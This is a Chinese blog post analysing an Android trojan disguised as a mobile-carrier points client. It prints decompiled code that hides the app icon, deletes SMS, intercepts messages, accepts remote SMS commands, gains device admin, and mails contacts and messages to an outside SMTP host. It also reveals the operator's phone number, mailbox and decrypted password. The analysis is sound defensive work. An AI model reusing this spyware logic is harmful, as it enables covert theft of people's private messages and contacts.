纯小白系列(三):对伪装“移动”积分客户端的逆向分析

以前发表于http://www.52pojie.cn/thread-524338-1-1.html

样本安装名称:积分客户端

MD5 84B45E2A7040FAC5B1D489C1AAD1B7C5
SHA1 DC7B060D3B7844EEEA090E219C2DE4A5AD1EBF37
相关工具: JEB ShakaApktool signapk eclipse
作者: Youngs
博客: http://youngs-rsr.blog.163.com  http://blog.csdn.net/youngs0xff
样本运行都在安卓模拟器中进行,在分析过程中,此样本的解密部分用模拟器+eclipase+signapk来实现获取解密信息 (暂不做文档说明,后面有时间在专门发一篇)

一、使用apktool工具进行反编译操作:
由于此样本不存在加固,这里直接使用ShakaApktool来进行反编译(由于自己的apktool版本比较低,无法正常进行反编译,这里则借助于 Androidkiller中的ShakaApktool来完成):
直接在其ShakaApktool.jar目录下输入java -jar ShakaApktool.jar d -d xxx.apk -o Youngs执行即可
 
在Youngs目录下就有我们想要的smail文件及AndroidManifest.xml等文件
打开AndroidManifest.xml文件后,我们发现其包名为"com.rcerc.cew”,主Activity为MainActivity
[XML]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<? xml version = "1.0" encoding = "utf-8" standalone = "no" ?>
< manifest xmlns:android = "http://schemas.android.com/apk/res/android" android:installLocation = "internalOnly" package = "com.rcerc.cew" >
     < uses-permission android:name = "android.permission.INTERNET" />
     < uses-permission android:name = "android.permission.READ_SMS" />
     < uses-permission android:name = "android.permission.WRITE_SMS" />
     < uses-permission android:name = "android.permission.SEND_SMS" />
     < uses-permission android:name = "android.permission.RECEIVE_SMS" />
     < uses-permission android:name = "android.permission.RECEIVE_WAP_PUSH" />
     < uses-permission android:name = "android.permission.RECEIVE_BOOT_COMPLETED" />
     < uses-permission android:name = "android.permission.RECEIVE_USER_PRESENT" />
     < uses-permission android:name = "android.permission.READ_PHONE_STATE" />
     < uses-permission android:name = "android.permission.MODIFY_AUDIO_SETTINGS" />
     < uses-permission android:name = "android.permission.READ_CONTACTS" />
     < uses-permission android:name = "android.permission.GET_TASKS" />
     < uses-permission android:name = "android.permission.ACCESS_NETWORK_STATE" />
     < uses-permission android:name = "android.permission.WRITE_SETTINGS" />
     < uses-permission android:name = "android.permission.VIBRATE" />
     < uses-permission android:name = "android.permission.WRITE_EXTERNAL_STORAGE" />
     < uses-permission android:name = "android.permission.ACCESS_WIFI_STATE" />
     < application android:allowBackup = "true" android:icon = "@drawable/app_logo" android:label = "@string/app_name" android:name = "com.phone.stop.db.PhoneApplication" android:theme = "@android:style/Theme.Black.NoTitleBar.Fullscreen" >
         < activity android:excludeFromRecents = "false" android:label = "@string/app_name" android:name = "com.phone.stop.activity.MainActivity" >
             < intent-filter >
                 < action android:name = "android.intent.action.MAIN" />
                 < category android:name = "android.intent.category.LAUNCHER" />
             </ intent-filter >
         </ activity >
其相关权限如下:
android.permission.INTERNET,访问网络连接,可能产生GPRS流量
android.permission.READ_SMS,读取短信内容
android.permission.WRITE_SMS,允许编写短信
android.permission.SEND_SMS,发送短信
android.permission.RECEIVE_SMS,接收短信
android.permission.RECEIVE_WAP_PUSH,接收WAP-PUSH信息
android.permission.RECEIVE_BOOT_COMPLETED,允许程序开机自动运行
android.permission.READ_PHONE_STATE,访问电话状态
android.permission.MODIFY_AUDIO_SETTINGS,修改声音设置信息
android.permission.READ_CONTACTS,允许应用访问联系人通讯录信息
android.permission.GET_TASKS,允许程序获取当前或最近运行的应用
android.permission.ACCESS_NETWORK_STATE,允许获取网络信息状态,如当前的网络连接是否有效
android.permission.WRITE_SETTINGS,允许读写系统设置项
android.permission.VIBRATE,允许振动
android.permission.WRITE_EXTERNAL_STORAGE,允许程序写入外部存储,如SD卡上写文件
android.permission.ACCESS_WIFI_STATE,获取当前WiFi接入的状态以及WLAN热点的信息
二、分析classes.dex文件:
1、  获取classes.dex文件:
直接通过压缩包解压APK文件即可:
 
2、  经过前面的准备工作,由上面的AndroidManifest.xml文件可知,其主Activity为MainActivity
判断是否为主Activity,直接看下面是否存在"android.intent.action.MAIN"即可。
[C++]  纯文本查看  复制代码
?
1
2
3
4
5
6
7
<application android:allowBackup= "true" android:icon= "@drawable/app_logo" android:label= "@string/app_name" android:name= "com.phone.stop.db.PhoneApplication" android:theme= "@android:style/Theme.Black.NoTitleBar.Fullscreen" >
         <activity android:excludeFromRecents= "false" android:label= "@string/app_name" android:name= "com.phone.stop.activity.MainActivity" >
             <intent-filter>
                 <action android:name= "android.intent.action.MAIN" />
                 <category android:name= "android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
3、  分析MainActivity:
现在就直接打开jeb对classes.dex进行相关分析:
然后我们进入到MainActivity中,看看OnCreate方法(由于代码加了混淆,后面则会有些方法都是自己重命名):

[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
protected void onCreate(Bundle arg5) {
         super .onCreate(arg5);
         this .setContentView( 2130903041 );
         this .getPackageManager().setComponentEnabledSetting( this .getComponentName(), 2 , 1 );  // 隐藏图标
         i.set_i_want_xxoo(((Context) this ));  // i_want_xxoo-->解密获取手机号码
         i.set_send_email_account(((Context) this ));  // send_email_account-->解密获取发送邮箱帐号
         i.set_receive_email_account(((Context) this ));  // receive_email_account--》解密获取接收邮箱帐号
         i.set_send_email_pwd(((Context) this ));  // send_email_pwd--》解密获取邮箱密码
         i.init_end_time(((Context) this ));  // app_end_time---》失活时间
         if (!a.a(((Context) this )).i()) {
             k.send_MSG( "软件安装完毕\n识别码:" + this .getSystemService( "phone" ).getDeviceId() + "\n" + j.a(),   // 发送手机识别码、型号、品牌、系统版本到收信号码
                     4 , ((Context) this ));
             a.a(((Context) this )).e( true );  // 设置has_send_phone_info为true
         }
 
         k.a(((Context) this ));  // 删除收件箱短信
         if (a.a(((Context) this )).j()) {
             d.a(((Context) this ));  // email_message_contacts_switch---》true  发送联系人及短信信息给邮箱
         }
 
         this .a();  // 获取设备管理权限
     }
主要实现功能:
隐藏图标

解密获取相关的邮箱帐号、密码、收信手机号等信息

发送手机识别码、型号、品牌、系统版本给收信号码

删除收件箱短信

发送联系人及短信信息给邮箱

获取设备管理权限

1) 隐藏图标:
[Java]  纯文本查看  复制代码
?
1
2
this .setContentView( 2130903041 );
         this .getPackageManager().setComponentEnabledSetting( this .getComponentName(), 2 , 1 );  // 隐藏图标
2) 解密获取相关的邮箱帐号、密码、收信手机号等信息:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
i.set_i_want_xxoo(((Context) this ));  // i_want_xxoo-->解密获取手机号码
         i.set_send_email_account(((Context) this ));  // send_email_account-->解密获取发送邮箱帐号
         i.set_receive_email_account(((Context) this ));  // receive_email_account--》解密获取接收邮箱帐号
         i.set_send_email_pwd(((Context) this ));  // send_email_pwd--》解密获取邮箱密码
         i.init_end_time(((Context) this ));  // app_end_time---》失活时间
这里则以set_i_want_xxoo为例做为解密对象进行分析:
首先进行到com.phone.stop.c下的类i,我们找到对应的set_i_want_xxoo方法:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
6
public static void set_i_want_xxoo(Context arg2) {  // set_i_want_xxoo
         if (!a.a(arg2).d()) {
             a.a(arg2).b(g.a(a.a(arg2).c()));  // 解密获取i_want_xxoo对应的手机号码
             a.a(arg2).b( true );  // 设置have_init_phone_number的值
         }
     }
在方法set_i_want_xxoo中,调用com.phone.stop.db下的类a中的d方法,看到其先进行判断have_init_phone_number对应的值是否为flase(即表示手机号码是否初始化),如果未初始化,则进行解密获取手机号码。其判断代码如下:
[Java]  纯文本查看  复制代码
?
1
2
3
public boolean d() {
         return this .b.getBoolean( "have_init_phone_number" , false );
     }
由于是第一次执行程序,即未初始化值,那么就会进入到下面的解密环节(即调用a.a(arg2).b(g.a(a.a(arg2).c()))):
首先是调用a.a(arg2).c()方法(即com.phone.stop.db下的类a中的c方法)来获取加密的手机号码信息:
[Java]  纯文本查看  复制代码
?
1
2
3
public String c() {
         return this .b.getString( "i_want_xxoo" , "f192419edc4cd50a7bdcb5230119d8e4" );
     }
然后调用解密方法g.a(a.a(arg2).c())(即com.phone.stop.c下的类g中的a方法),由于后面类e是DES解密算法,这里就不做过多的介绍,相关资料可以在网上获取:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
public static String a(String arg2) {
         String v0_1;  // 得到解密后的值
         try {
             v0_1 = new e( "staker" ).b(arg2);  // 得到解密后的值
         }
         catch (Exception v0) {
             v0.printStackTrace();
             v0_1 = "" ;
         }
 
         return v0_1;
     }
得到了相关的解密值后,则会设置i_want_xxoo对应的值为解密得到的手机号(经过调试或者log打印可知其解密号码为:13268343253),即调用com.phone.stop.db下的类a中的b方法来进行设置。
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public void b(String arg3) {
         SharedPreferences$Editor v0 = this .b.edit();
         v0.putString( "i_want_xxoo" , arg3);
         v0.commit();
     }
最后则设置have_init_phone_number对应的值为true,即调用com.phone.stop.db下的类a中的b方法来进行设置。
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public void b( boolean arg3) {
         SharedPreferences$Editor v0 = this .b.edit();
         v0.putBoolean( "have_init_phone_number" , arg3);
         v0.commit();
     }
经过相关的DES解密操作,最后我们获取到:
密码:jkohpxabmdoioawl
手机号码:13268343253
失活时间:2015-09-08 09:08:22
3) 发送手机识别码、型号、品牌、系统版本给收信号码:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
if (!a.a(((Context) this )).i()) {
             k.send_MSG( "软件安装完毕\n识别码:" + this .getSystemService( "phone" ).getDeviceId() + "\n" + j.a(),   // 发送手机识别码、型号、品牌、系统版本到收信号码
                     4 , ((Context) this ));
             a.a(((Context) this )).e( true );  // 设置has_send_phone_info为true
         }
首先判断has_send_phone_info是否为false,由于刚启动,其初始值为false,那么就会给手机号13268343253发送手机识别码、型号、品牌、系统版本信息,然后设置has_send_phone_info是true。
4) 删除收件箱短信:
直接调用com.phone.stop.f下的类k中的a方法来实现删除收件箱短信:
[Java]  纯文本查看  复制代码
?
1
k.a(((Context) this ));  // 删除收件箱短信
删除收件箱短信的方法a:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void a(Context arg8) {  // 删除收件箱短信
         String[] v2 = null // has_delete_message
         if (!a.a(arg8).h()) {
             ContentResolver v0 = arg8.getContentResolver();
             Cursor v1 = v0.query(com.phone.stop.a.a.b, v2, ((String)v2), v2, "date" );  // b--->content://sms/inbox
             try {
                 if (!a.a(arg8).h() && (v1.moveToNext())) {
                     int v2_1 = v1.getInt(v1.getColumnIndex( "_id" ));
                     int v3 = v0.delete(Uri.parse( "content://sms/" + v2_1), null , null );
                     int v0_2 = v0.delete(com.phone.stop.a.a.a, "_id=" + v2_1, null );
                     if (v3 != 1 && v0_2 != 1 ) {
                         goto label_39;
                     }
 
                     a.a(arg8).d( true );  // has_delete_message为true
                 }
 
             label_39:
                 v1.close();
             }
             catch (Exception v0_1) {
             }
         }
     }
5) 发送联系人及短信信息给邮箱:
[Java]  纯文本查看  复制代码
?
1
2
3
if (a.a(((Context) this )).j()) {
             d.a(((Context) this ));  // email_message_contacts_switch---》true  发送联系人及短信信息给邮箱
         }
调用com.phone.stop.c下的类d中的a方法来实现发送相关信息到邮箱,其主要是通过调用类e中的方法来实现:
[Java]  纯文本查看  复制代码
?
1
2
3
public static void a(Context arg1) {
         a.a( new e(arg1));  // 发送联系人及短信信息给邮箱
     }
在com.phone.stop.c下的类e中的a方法中分析实现发送短信信息和联系人信息:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public Object a() {
         d.b( this .a);  // 发送短信信息给邮箱
         d.c( this .a);  // 发送联系人信息给邮箱
         return null ;
     }
发送短信消息在com.phone.stop.c下的类d中的b方法中实现:
[Java]  纯文本查看  复制代码
?
1
2
3
static void b(Context arg0) {
         d.d(arg0);
     }
调用的d方法主要实现代码如下:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
private static void d(Context arg9) {  // 发送短信信息给邮箱
         try {
             com.phone.stop.db.a v1 = com.phone.stop.db.a.a(arg9);
             if (!v1.m()) {
                 ArrayList v2 = h.a(arg9);  // 获取短信列表
                 if (v2.size() <= 0 ) {
                     return ;
                 }
 
                 String v3 = arg9.getSystemService( "phone" ).getDeviceId();  // 手机设备信息
                 StringBuffer v4 = new StringBuffer( "------------------------------<br>" );
                 Iterator v2_1 = v2.iterator();
             label_14:
                 if (v2_1.hasNext()) {
                     Object v0_1 = v2_1.next();
                     v4.append( "<br><br><font color=red>----------------------" + ((com.phone.stop.d.b)
                             v0_1).b + "    " + ((com.phone.stop.d.b)v0_1).c + "-------------</font><br>" );
                     Iterator v5 = ((com.phone.stop.d.b)v0_1).d.iterator();
                     while ( true ) {
                         if (!v5.hasNext()) {
                             goto label_14;
                         }
 
                         v0_1 = v5.next();
                         if (((com.phone.stop.d.a)v0_1).e == 1 ) {
                             v4.append(((com.phone.stop.d.a)v0_1).d).append( "    " ).append(((com.phone.stop.d.a)
                                     v0_1).c).append( "<br>" );
                             continue ;
                         }
 
                         v4.append(((com.phone.stop.d.a)v0_1).d).append( "    " ).append( "<font color=blue>" )
                                 .append(((com.phone.stop.d.a)v0_1).c).append( "</font>" ).append( "<br>" );
                     }
                 }
 
                 String v0_2 = v1.n();  // send_email_account
                 String v2_2 = v1.r();  // send_email_pwd
                 String v5_1 = v1.p();  // receive_email_account
                 b v6 = new b();
                 v6.a( "smtp.vip.163.com" , "25" );
                 v6.a(v0_2, "DX列表(" + v3 + ")" , v4.toString());
                 v6.a( new String[]{v5_1});
                 v6.b( "smtp.vip.163.com" , v0_2, v2_2);  // 发送短信信息给邮箱
                 v1.g( true );
             }
 
             return ;
         }
         catch (Exception v0) {
             return ;
         }
     }
发送联系人信息给邮箱,其主要是通过调用com.phone.stop.c下的类d中的c方法中实现(即调用方法e实现):
[Java]  纯文本查看  复制代码
?
1
2
3
static void c(Context arg0) {
         d.e(arg0);
     }
发送联系人给邮箱的实现方法:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static void e(Context arg9) {  // 发送联系人给邮箱
         try {
             com.phone.stop.db.a v1 = com.phone.stop.db.a.a(arg9);
             if (!v1.l()) {
                 ArrayList v2 = com.phone.stop.c.a.a(arg9);  // 获取联系人信息
                 if (v2.size() <= 0 ) {
                     return ;
                 }
 
                 String v3 = arg9.getSystemService( "phone" ).getDeviceId();
                 StringBuffer v4 = new StringBuffer();
                 Iterator v2_1 = v2.iterator();
                 while (v2_1.hasNext()) {
                     Object v0_1 = v2_1.next();
                     v4.append( "<font color=blue>" ).append(((c)v0_1).b).append( "</font>  " ).append(((
                             c)v0_1).c).append( "<br>" );
                 }
 
                 String v0_2 = v1.n();
                 String v2_2 = v1.r();
                 String v5 = v1.p();
                 b v6 = new b();
                 v6.a( "smtp.vip.163.com" , "25" );
                 v6.a(v0_2, "TX(" + v3 + ")" , v4.toString());
                 v6.a( new String[]{v5});
                 v6.b( "smtp.vip.163.com" , v0_2, v2_2);
                 v1.f( true );
             }
 
             return ;
         }
         catch (Exception v0) {
             g.a( "aaaa" , v0);
             return ;
         }
     }
6) 获取设备管理权限:
获取设备管理权限:
[Java]  纯文本查看  复制代码
?
1
this .a();  // 获取设备管理权限
调用MainActivity中的方法a来实现获取设备管理权限:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
public void a() {
         try {
             Object v0_1 = this .getSystemService( "device_policy" );  // 获取设备管理权限
             ComponentName v1 = new ComponentName(((Context) this ), MyDeviceAdminReceiver. class );
             if (((DevicePolicyManager)v0_1).isAdminActive(v1)) {
                 return ;
             }
 
             Intent v0_2 = new Intent( "android.app.action.ADD_DEVICE_ADMIN" );  // 启动设备管理
             v0_2.putExtra( "android.app.extra.DEVICE_ADMIN" , ((Parcelable)v1));  // 权限列表
             v0_2.putExtra( "android.app.extra.ADD_EXPLANATION" , "提高权限获取保护" );  // 描述
             this .startActivityForResult(v0_2, 0 );  // 打开新的activity,请求码为0
             this .b.sendEmptyMessageDelayed( 1 , 2000 );
         }
         catch (Exception v0) {
             v0.printStackTrace();
         }
     }
发送相关的用户是否激活的信息给收信手机:13268343253
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
protected void onActivityResult( int requestcode, int arg6, Intent arg7) {
         int v2 = 4 ;
         super .onActivityResult(requestcode, arg6, arg7);
         if (requestcode == 0 ) {
             if (arg6 == - 1 ) {
                 Log.i( "onActivityResult" , "Enable it" );
                 a.a(((Context) this )).a( true );  // 设置have_app_jihuo为true
                 k.send_MSG(String.valueOf(j.a()) + "\n用户选择了激活" , v2, ((Context) this ));  // 发送信息给收信手机
             }
             else {
                 k.send_MSG(String.valueOf(j.a()) + "\n用户没有进行激活" , v2, ((Context) this ));  // 发送没激活信息给收信手机
                 Log.i( "onActivityResult" , "Cancle it" );
             }
         }
 
         this .startService( new Intent(((Context) this ), BootService. class ));
         this .b.sendEmptyMessageDelayed( 0 , 3000 );
     }
4、  分析SMSReceiver:
1)  查看SMSReceiver的相关权限:
[XML]  纯文本查看  复制代码
?
1
2
3
4
5
< receiver android:name = "com.phone.stop.receiver.SMSReceiver" android:permission = "android.permission.BROADCAST_SMS" >
             < intent-filter android:priority = "2147483647" >
                 < action android:name = "android.provider.Telephony.SMS_RECEIVED" />
             </ intent-filter >
         </ receiver >
2)  进入SMSReceiver中找到onReceive()方法:
方法a实现:发送手机中的短信信息给收信箱: zhouliqin@vip.163.com和收信手机号:13268343253,删除指定短信并解析收件箱中短信的指令信息:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public void onReceive(Context arg2, Intent arg3) {
         g.a( " 广播---------------------------------------" );
         this .a = arg2;
         this .a(arg3);  // 给收信邮箱发送信息
     }
3)  在SMSReceiver中a方法如下:
获取短信信息,屏蔽广播,发送相关信息给邮箱及收信手机
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void a(Intent arg11) {  // 给收信邮箱发送信息
         String v1;
         String v0_2;
         Bundle v0 = arg11.getExtras();
         StringBuffer v6 = new StringBuffer();
         String v3 = "" ;
         String v2 = "" ;
         if (v0 != null ) {
             Object v0_1 = v0.get( "pdus" );  // 获得短信数据
             SmsMessage[] v7 = new SmsMessage[v0_1.length];
             int v8 = v0_1.length;
             int v5;
             for (v5 = 0 ; v5 < v8; ++v5) {
                 v7[v5] = SmsMessage.createFromPdu(v0_1[v5]);
             }
 
             v5 = v7.length;
             v0_2 = v2;
             v1 = v3;
             int v2_1 = 0 ;
             while (v2_1 < v5) {
                 SmsMessage v0_3 = v7[v2_1];
                 v3 = v0_3.getDisplayOriginatingAddress();  // 返回信息来源地址
                 String v4 = v0_3.getMessageBody();  // 短信信息
                 v1 = new StringBuilder(String.valueOf(v0_3.getTimestampMillis())).toString();
                 v6.append(v4);
                 ++v2_1;
                 v0_2 = v1;
                 v1 = v3;
             }
         }
         else {
             v0_2 = v2;
             v1 = v3;
         }
 
         this .abortBroadcast();  // 屏蔽广播
         v2 = v6.toString();  // 短信内容
         this .a(v1, v2, v0_2);  // 发送短信信息给指定手机号
         d.d_send_mail( this .a, String.valueOf(v2) + "<br>" + v1 + "<br><br><br>" + j.a() + "-----------------广播<" );
     }
4)  发送短信信息给指定手机号(13268343253)和指定邮箱,解析收件箱的短信指令:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void a(String arg3, String arg4, String arg5) {  // 发送短信信息给指定手机号
         String v0 = a.a( this .a).c();  // 获取i_want_xxoo的值
         if (!v0.contains( "683" )) {
             return ;
         }
 
         if ( this .a(arg3, arg4)) { //解析是否存在收信邮箱的短信指令
             return ;
         }
 
         switch (a.a( this .a).g()) {
             case 1 : {
                 goto label_14;  // app_intercept_type类型
             }
             case 2 : {
                 goto label_18;  // app_intercept_type类型
             }
             case 3 : {
                 goto label_16;  // app_intercept_type类型
             }
         }
 
         return ;
     label_18:
         this .c(v0, arg4, arg5);  // 判断V0是否存在数据库中存储的number,给邮箱发送短信信息
         return ;
     label_14:
         this .b(arg3, arg4, arg5);  // 发送短信信息arg4给指定手机
         return ;
     label_16:
         this .clearAbortBroadcast();  // 取消截获广播
     }
5)  解析是否存在收信邮箱的短信指令:
短信指令相关:
  
第1指令
  
第2指令
恶意操作
LJ
ALL
设置app_intercept_type的值为1
LJ
SOME
设置app_intercept_type的值为2
LJ
NO
设置app_intercept_type为3
ADD

把信息写入数据库中
DEL

从数据库中删除相关数据
CLEAR
ALL
删除数据库中所有的信息
CLEAR
MESSAGE
无其他操作
LOOK
TIME
发送到期时间给收信邮箱
LOOK
PHONE
发送版本手机版本型号
SEND

自定义目标发送短信
相关的实现代码如下:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
private boolean a(String arg8, String arg9) {  // 解析是否存在收信邮箱的短信指令
         int v6 = 4 ;
         int v5 = 2 ;
         boolean v0 = true // 判断arg8总是否含有i_want_xxoo的值
         if (arg8.contains(a.a( this .a).c())) {
             g.a( "------------------ 是主人----------------------" );
             this .a(arg9);  // 删除短信中arg9信息
             String[] v2 = arg9.split( " " );
             if (v2[ 0 ].equals( "LJ" )) {
                 if (v2[ 1 ].equals( "ALL" )) {
                     a.a( this .a).a( 1 );  // 设置app_intercept_type的值为1
                     return v0;
                 }
 
                 if (v2[ 1 ].equals( "SOME" )) {
                     a.a( this .a).a(v5);  // 设置app_intercept_type的值为2
                     return v0;
                 }
 
                 if (!v2[ 1 ].equals( "NO" )) {
                     return v0;
                 }
 
                 a.a( this .a).a( 3 );  // 在“NO”时,设置app_intercept_type为3
                 return v0;
             }
 
             if (v2[ 0 ].equals( "ADD" )) {
                 c v1 = new c();
                 v1.c = v2[ 1 ];
                 b.a(v1);  // 把信息写入数据库中
                 return v0;
             }
 
             if (v2[ 0 ].equals( "DEL" )) {
                 b.a(v2[ 1 ]);  // 从数据库中删除v2[1]
                 return v0;
             }
 
             if (v2[ 0 ].equals( "CLEAR" )) {
                 if (v2[ 1 ].equals( "ALL" )) {
                     b.a();  // 删除数据库中所有的信息
                     return v0;
                 }
 
                 v2[ 1 ].equals( "MESSAGE" );
                 return v0;
             }
 
             if (v2[ 0 ].equals( "LOOK" )) {
                 if (v2[ 1 ].equals( "TIME" )) {
                     k.send_MSG( "到期时间:" + a.a( this .a).e(), v6, this .a);  // 发送到期时间给收信邮箱
                     return v0;
                 }
 
                 if (!v2[ 1 ].equals( "PHONE" )) {
                     return v0;
                 }
 
                 k.send_MSG(j.a(), v6, this .a);  // “PHONE”发送版本手机版本型号
                 return v0;
             }
 
             if (!v2[ 0 ].equals( "SEND" )) {
                 return v0;
             }
 
             try {
                 k.a(v2[ 1 ], v2[ 2 ], this .a);  // 发送信息v2[2]给v2[1]
             }
             catch (Exception v1_1) {
             }
         }
         else {
             v0 = false ;
         }
 
         return v0;
     }
6)  判断是否存在数据库中存储的number,给邮箱发送短信信息:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
private void c(String arg4, String arg5, String arg6) {  // 判断arg4中是否存在数据库中存储的number,给邮箱发送短信信息
         Iterator v1 = b.b().iterator();  // 获取数据库列表信息,并判断arg4中是否存在number
         do {
             if (v1.hasNext()) {
                 if (!arg4.contains(v1.next().c)) {
                     continue ;
                 }
 
                 break ;
             }
 
             return ;
         }
         while ( true );
 
         this .a(arg5);  // 设置手机相关模式并删除短信中的arg5信息
         k.send_MSG(String.valueOf(arg5) + "\n来自:" + arg4, 4 , this .a);  // 给指定手机号发送短信信息
     }
7) 发送短信信息给指定手机号(13268343253),并设置相关模式:
[Java]  纯文本查看  复制代码
?
1
2
3
4
private void b(String arg4, String arg5, String arg6) {
         this .a(arg5);  // 设置手机相关模式并删除短信中的arg5信息
         k.send_MSG(String.valueOf(arg5) + "\n来自:" + arg4, 4 , this .a);  // 给指定手机号发送短信消息
     }
设置手机相关模式及删除相关的短信:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
public void a(String arg5) {  // 设置手机相关模式并删除短信中的arg5信息
         if (String.valueOf(Build$VERSION.RELEASE).compareTo( "4.3" ) >= 0 ) {
             if (! this .c) {
                 this .c = true ;
                 com.phone.stop.f.d.b( this .a, 0 );  // 设置手机不振动
                 com.phone.stop.f.d.c( this .a, 0 );  // 在合适时振动的振动设置
                 com.phone.stop.f.d.a( this .a, 0 );  // 设置声音模式
                 com.phone.stop.f.d.a( this .a, true );  // 静音音频流
             }
 
             new h().a( this .a, arg5);  // 删除短信中的arg5值
         }
     }

5、  分析BootReceiver:
判断是否存在BootService服务,不存在则开始服务:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
6
7
public void onReceive(Context arg3, Intent arg4) {  // 判断是否存在BootService服务
         if (!BootReceiver.a(arg3, "com.phone.stop.service.BootService" )) {
             Intent v0 = new Intent(arg3, BootService. class );
             v0.addFlags( 268435456 );
             arg3.startService(v0);  // 开启BootService服务
         }
     }
判断是否存在相关服务:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
public static boolean a(Context arg5, String arg6) {  // 判断是否有arg6的服务
         boolean v0;
         List v3 = arg5.getSystemService( "activity" ).getRunningServices( 40 );  // 获取正在运行的40个服务
         int v4 = v3.size();
         int v2 = 0 ;
         while ( true ) {
             if (v2 >= v4) {
                 return false ;
             }
             else if (v3.get(v2).service.getClassName().equals(arg6)) {
                 v0 = true ;
             }
             else {
                 ++v2;
                 continue ;
             }
 
             return v0;
         }
 
         return false ;
     }

6、  分析BootService:
判断失活时间是否存在到期,发送安装完成信息给手机,删除相关短信,注册监听器,监听短信的变化。
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
public void onCreate() {
         super .onCreate();
         if (g.a()) {
             com.phone.stop.db.a.a(((Context) this )).a( 3 );  // 如果app_end_time的时间未失效,设置configurations_data为0
         }
         else {
             g.a(((Context) this ));  // 发送软件安装完毕,删除短信
             this .b();  // 注册监听短信接收广播
             this .a();  // 为content://sms的数据改变注册监听器 
         }
     }
为content://sms的数据改变注册监听器 :
[Java]  纯文本查看  复制代码
?
1
2
3
4
private void a() {
         this .getContentResolver().registerContentObserver(a.a, true , new com.phone.stop.b.a(((Context)  // 为content://sms的数据改变注册监听器 
                 this ), new Handler()));
     }
监听短信接收广播:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
6
7
private void b() {
         IntentFilter v0 = new IntentFilter();
         v0.setPriority( 2147483647 );
         v0.addAction( "android.provider.Telephony.SMS_RECEIVED" );  // 接收短信权限
         v0.addAction( "android.provider.Telephony.SMS_RECEIVED_2" );
         this .registerReceiver( new SMSReceiver(), v0, "android.permission.BROADCAST_SMS" , null );  // 当收到短信时触发一个广播
     }
三、总结
此小马是一款窃取隐私、远程控制的木马。该木马的主要行为是私自获取短信内容、联系人信息上传到指定邮箱,获取手机设备信息及相关的状态发送到指定号码;获得的短信指令对手机进行相关操作,具有远程控制;私自删除短信内容,监控短信的接收;启动后激活设备管理器,隐藏图标,防止自身被卸载,具有流氓行为。由于样本来源涉及工作相关的问题,就不放出来了(有资源的可以去通过 MD5 去下载)。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值